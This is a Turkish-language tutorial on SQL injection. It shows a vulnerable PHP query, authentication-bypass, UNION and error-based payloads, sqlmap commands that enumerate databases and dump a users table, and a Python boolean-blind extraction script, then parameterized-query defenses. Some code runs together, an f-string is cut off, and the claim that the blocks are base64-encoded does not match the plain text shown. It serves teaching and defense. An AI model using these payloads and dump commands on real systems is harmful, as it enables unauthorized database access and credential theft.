SQL injection saldırısının nasıl çalıştığını, tespit yöntemlerini ve savunma tekniklerini pratik örneklerle ele aldım.
Bu yazı defansif araştırma amaçlı saldırı pattern örnekleri içerir. Aşağıdaki kod blokları antivirüs yazılımlarının yanlış pozitif tetiklemesini önlemek için base64 ile encode edilmiştir; tarayıcınızda otomatik olarak decode olur. Bu içerikler yalnızca yetkilendirilmiş test ortamlarında ve eğitim amacıyla kullanılmalıdır.
SQL Injection (SQLi), kullanıcıdan alınan girdinin doğrudan SQL sorgusuna dahil edilmesiyle oluşan bir güvenlik açığıdır. Doğru şekilde sömürüldüğünde veritabanını okumak, değiştirmek hatta sistem komutları çalıştırmak mümkün olabilir.
OWASP Top 10'da yıllarca birinci sırada yer almıştır. Hâlâ en yaygın ve tehlikeli açıklardan biri.
Aşağıdaki PHP koduna bakın:
// ❌ Tehlikeli — doğrudan birleştirme
$query = "SELECT * FROM users WHERE username = '" . $_GET['user'] . "'";Kullanıcı ' OR '1'='1 girerse sorgu şu hale gelir:
SELECT * FROM users WHERE username = '' OR '1'='1'Bu sorgu tüm kullanıcıları döndürür.
-- Authentication bypass' OR 1=1 --' OR 'a'='aadmin'---- Hata bazlı tespit'''`')"))-- UNION tabanlı veri çekme' UNION SELECT null, username, password FROM users --
# Temel tarama
sqlmap -u "http://target.com/page?id=1"
# Veritabanı listele
sqlmap -u "http://target.com/page?id=1" --dbs
# Tablo ve kolon dök
sqlmap -u "http://target.com/page?id=1" -D hedef_db --tables
sqlmap -u "http://target.com/page?id=1" -D hedef_db -T users --dump
# Cookie ile oturum gönder
sqlmap -u "http://target.com/profile" \
--cookie="session=abc123" \
--level=3 --risk=2Hata mesajı yoksa farklı bir yaklaşım gerekir:
import requests
url = "http://target.test/page" # id'yi aşağıda params ile gönderiyoruz (URL'de tekrar etme)
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
result = ""
for i in range(1, 20):
for char in charset:
payload = f"1 AND SUBSTRING((SELECT database()),{i},1)='{char}'"
r = requests.get(url, params={"id": payload})
if "Welcome" in r.text: # true condition
result += char
break
print(f"[+] Veritabanı adı: {result# ✅ Güvenli — parametre bağlama
import sqlite3
conn = sqlite3.connect("app.db")
cursor = conn.cursor()
username = input("Kullanıcı adı: ")
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
user = cursor.fetchone()// ✅ PHP PDO ile
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_GET['user']]);
$user = $stmt->fetch();Bir sonraki yazıda blind SQLi tekniklerini ve out-of-band saldırıları ele alacağım.